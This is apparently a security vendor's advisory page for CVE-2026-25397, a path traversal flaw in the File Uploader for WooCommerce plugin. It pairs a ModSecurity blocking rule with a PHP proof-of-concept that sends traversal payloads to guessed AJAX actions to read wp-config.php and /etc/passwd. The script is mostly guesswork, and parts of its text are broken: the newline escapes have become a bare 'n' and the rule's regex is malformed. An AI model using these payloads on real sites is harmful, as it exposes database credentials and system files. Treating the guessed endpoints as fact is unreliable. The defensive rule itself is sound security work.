CVE-2026-25397: File Uploader for WooCommerce <= 1.0.4 – Unauthenticated Path Traversal (file-uploader-for-woocommerce)

# Atomic Edge WAF Rule - CVE-2026-25397 (metadata-based)
# This rule blocks path traversal attempts targeting the File Uploader for WooCommerce plugin
# The rule assumes exploitation occurs via the plugin's AJAX endpoint with file path parameters
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:202625397,phase:2,deny,status:403,chain,msg:'CVE-2026-25397: File Uploader for WooCommerce Path Traversal Attempt',severity:'CRITICAL',tag:'CVE-2026-25397',tag:'WordPress',tag:'Plugin/File-Uploader-for-WooCommerce',tag:'Attack/PathTraversal'"
    SecRule ARGS_POST:action "@rx ^(file_uploader_for_woocommerce|wfu_ajax|file_uploader_ajax)" 
        "chain,t:none"
        SecRule ARGS_POST:/^(file|file_path|filename|target|destination)$/ "@rx (..(/|\)|/etc/passwd|wp-config.php)" 
            "t:urlDecodeUni,t:normalizePathWin,t:lowercase"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25397 - File Uploader for WooCommerce <= 1.0.4 - Unauthenticated Path Traversal
<?php
/**
 * Proof of Concept for CVE-2026-25397
 * Assumptions based on WordPress plugin patterns:
 * 1. Plugin exposes an AJAX endpoint for unauthenticated users (wp_ajax_nopriv_)
 * 2. Endpoint accepts a file path parameter vulnerable to traversal
 * 3. The action name likely contains the plugin slug 'file_uploader_for_woocommerce'
 * 4. The vulnerable parameter could be 'file', 'file_path', or similar
 */

$target_url = 'http://target-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS

// Common AJAX action names for file uploader plugins
$possible_actions = [
    'file_uploader_for_woocommerce_upload',
    'file_uploader_for_woocommerce_delete',
    'file_uploader_for_woocommerce_manage',
    'wfu_ajax_action', // Generic pattern
    'file_uploader_ajax'
];

// Traversal payloads targeting different files
$payloads = [
    '../../../wp-config.php',
    '../../../../etc/passwd',
    '..\..\..\wp-config.php', // Windows style
    '....//....//....//wp-config.php', // Double encoding bypass
    '/var/www/html/wp-config.php' // Absolute path
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);

foreach ($possible_actions as $action) {
    echo "Testing action: $actionn";
    
    foreach ($payloads as $payload) {
        // Try POST request (most common for file operations)
        $post_data = [
            'action' => $action,
            'file' => $payload,
            'file_path' => $payload,
            'filename' => $payload,
            'target' => $payload
        ];
        
        curl_setopt($ch, CURLOPT_URL, $target_url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        
        if ($http_code == 200 && !empty($response)) {
            echo "  [SUCCESS] Payload: $payloadn";
            echo "  Response (first 200 chars): " . substr($response, 0, 200) . "nn";
        }
    }
}

curl_close($ch);
echo "PoC completed. Review responses for successful file access.n";
?>